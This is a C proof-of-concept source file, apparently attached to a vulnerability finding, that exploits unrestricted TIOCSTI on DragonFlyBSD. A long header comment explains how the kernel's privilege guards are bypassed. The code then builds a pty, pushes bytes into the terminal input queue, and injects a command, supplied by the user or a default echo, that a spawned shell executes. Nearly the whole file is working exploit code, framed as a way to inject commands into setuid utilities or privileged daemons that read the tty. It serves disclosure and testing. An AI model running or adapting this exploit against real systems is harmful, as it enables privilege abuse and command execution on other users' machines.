DF-0005 / tiocsti.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 | /* * DF-0005 PoC - TIOCSTI unrestricted terminal input injection (no killswitch). * * Self-contained demonstration of the TIOCSTI primitive on DragonFlyBSD. * No external interactive terminal is needed: the PoC allocates its own pty * pair, has an unprivileged child claim the slave as its controlling tty, and * then exercises TIOCSTI on /dev/tty -- exactly the path described in the * finding (sys/kern/tty.c:1158-1173). * * In ttioctl() the two caps_priv_check_td(SYSCAP_RESTRICTEDROOT) guards are * each gated on a condition a legitimate tty owner does NOT meet: * * tty.c:1159 if ((flag & FREAD) == 0 && <- FALSE: fd is O_RDWR * tty.c:1160 caps_priv_check_td(td, SYSCAP_RESTRICTEDROOT)) * return EPERM; * tty.c:1165 if (!isctty(p, tp) && <- FALSE: tp IS ctty * tty.c:1166 caps_priv_check_td(td, SYSCAP_RESTRICTEDROOT)) * return EACCES; * tty.c:1172 (*linesw[tp->t_line].l_rint)(*(u_char *)data, tp); <- SINK * * For an O_RDWR open of the controlling tty both `(flag & FREAD) == 0` and * `!isctty(p, tp)` evaluate FALSE, so neither privilege check fires and the * attacker byte reaches l_rint -- pushed into the tty input queue exactly as * if it had been typed on the keyboard. There is no sysctl/capability to * disable this anywhere in the tree (no kern.tty_tiocsti / legacy_tiocsti). * * This PoC proves three things end-to-end: * (1) TIOCSTI returns success for an unprivileged uid (no EPERM/EACCES) -- * confirming both privilege guards are bypassed for a ctty owner. * (2) The injected byte actually reaches the l_rint sink and lands in the * tty input queue -- proven by reading it straight back from /dev/tty. * (3) The injected line is consumed and EXECUTED by a *different* downstream * reader of the tty (a shell we exec on the slave) -- the confused-deputy * execution primitive that makes TIOCSTI dangerous (e.g. injecting into * a setuid program that reads a command/password from the tty). * * Build (DragonFlyBSD): cc -o tiocsti tiocsti.c * Run as ANY user (no controlling terminal required): * ./tiocsti * or ./tiocsti "echo custom_payload" */ #include <sys/ioctl.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <signal.h> #include <sys/wait.h> #ifndef TIOCSTI #define TIOCSTI _IOW('t', 114, char) /* sys/sys/ttycom.h */ #endif static int inject_str(int fd, const char *s) { int i; for (i = 0; s[i] != '\0'; i++) { char c = s[i]; if (ioctl(fd, TIOCSTI, &c) < 0) return -1; } return 0; } static volatile sig_atomic_t timed_out; static void alarm_handler(int sig) { (void)sig; timed_out = 1; } int main(int argc, char **argv) { const char *downstream_cmd = (argc > 1) ? argv[1] : "echo TIOCSTI_EXEC_BY_DOWNSTREAM_SHELL"; int master, slave, tfd, status; pid_t pid; char *slave_name; char buf[512]; ssize_t n; master = open("/dev/ptmx", O_RDWR | O_NOCTTY); if (master < 0) { perror("open /dev/ptmx"); return 2; } if (grantpt(master) < 0) { perror("grantpt"); return 2; } if (unlockpt(master) < 0) { perror("unlockpt"); return 2; } slave_name = ptsname(master); if (slave_name == NULL) { perror("ptsname"); return 2; } slave = open(slave_name, O_RDWR | O_NOCTTY); if (slave < 0) { perror("open slave"); return 2; } fprintf(stderr, "[*] uid=%d euid=%d pty slave=%s\n", getuid(), geteuid(), slave_name); pid = fork(); if (pid < 0) { perror("fork"); return 2; } if (pid == 0) { /* * CHILD -- runs as the unprivileged caller. Become a session * leader and claim the pty slave as our controlling terminal, * then open /dev/tty (which resolves to the ctty). This is the * exact position the finding describes: an unprivileged user * with their controlling tty open for read. */ if (setsid() < 0) { perror("setsid"); _exit(2); } if (ioctl(slave, TIOCSCTTY, 0) < 0) { perror("TIOCSCTTY"); _exit(2); } tfd = open("/dev/tty", O_RDWR); if (tfd < 0) { perror("child open /dev/tty"); _exit(2); } /* * (1) THE PRIMITIVE: inject a line via TIOCSTI. If the kernel * enforced privilege here (or had a killswitch), this would * return EPERM. It does not. */ if (inject_str(tfd, "echo TIOCSTI_READBACK_OK\n") < 0) { fprintf(stderr, "[!] TIOCSTI DENIED: %s -- primitive is gated\n", strerror(errno)); _exit(1); } fprintf(stderr, "[+] TIOCSTI ioctl succeeded (no EPERM/EACCES) -- " "guards at tty.c:1160,1167 bypassed for ctty owner\n"); /* * (2) Prove the byte reached the l_rint sink and is consumable: * read the injected line straight back out of /dev/tty. */ n = read(tfd, buf, sizeof(buf) - 1); if (n > 0) { buf[n] = '\0'; fprintf(stderr, "[+] readback from /dev/tty (%zd bytes): " "%s", n, buf); } else { fprintf(stderr, "[!] readback failed: %s\n", strerror(errno)); } /* * (3) Confused-deputy execution: inject a command that a * *different* downstream reader of this tty will run, then * hand the tty to a shell. The shell reads the injected line * out of the tty input queue and executes it -- proof that * TIOCSTI crosses a trust boundary to whoever reads the tty * next (setuid utility, privileged daemon, sandboxed child). */ if (inject_str(tfd, downstream_cmd) < 0 || inject_str(tfd, "\nexit\n") < 0) { fprintf(stderr, "[!] downstream inject failed: %s\n", strerror(errno)); _exit(1); } close(tfd); dup2(slave, 0); dup2(slave, 1); dup2(slave, 2); if (slave > 2) close(slave); close(master); execl("/bin/sh", "sh", (char *)NULL); perror("exec /bin/sh"); _exit(127); } /* * PARENT -- drain the slave's output from the pty master so we can * see the injected command's execution. A safety alarm keeps us from * hanging if the shell never exits. */ close(slave); signal(SIGALRM, alarm_handler); alarm(8); while (!timed_out && (n = read(master, buf, sizeof(buf) - 1)) > 0) { fwrite(buf, 1, n, stdout); fflush(stdout); } waitpid(pid, &status, 0); if (timed_out) kill(pid, SIGKILL); close(master); fprintf(stderr, "[*] downstream sh exit status: %d\n", WIFEXITED(status) ? WEXITSTATUS(status) : -1); return WIFEXITED(status) ? WEXITSTATUS(status) : 1; } |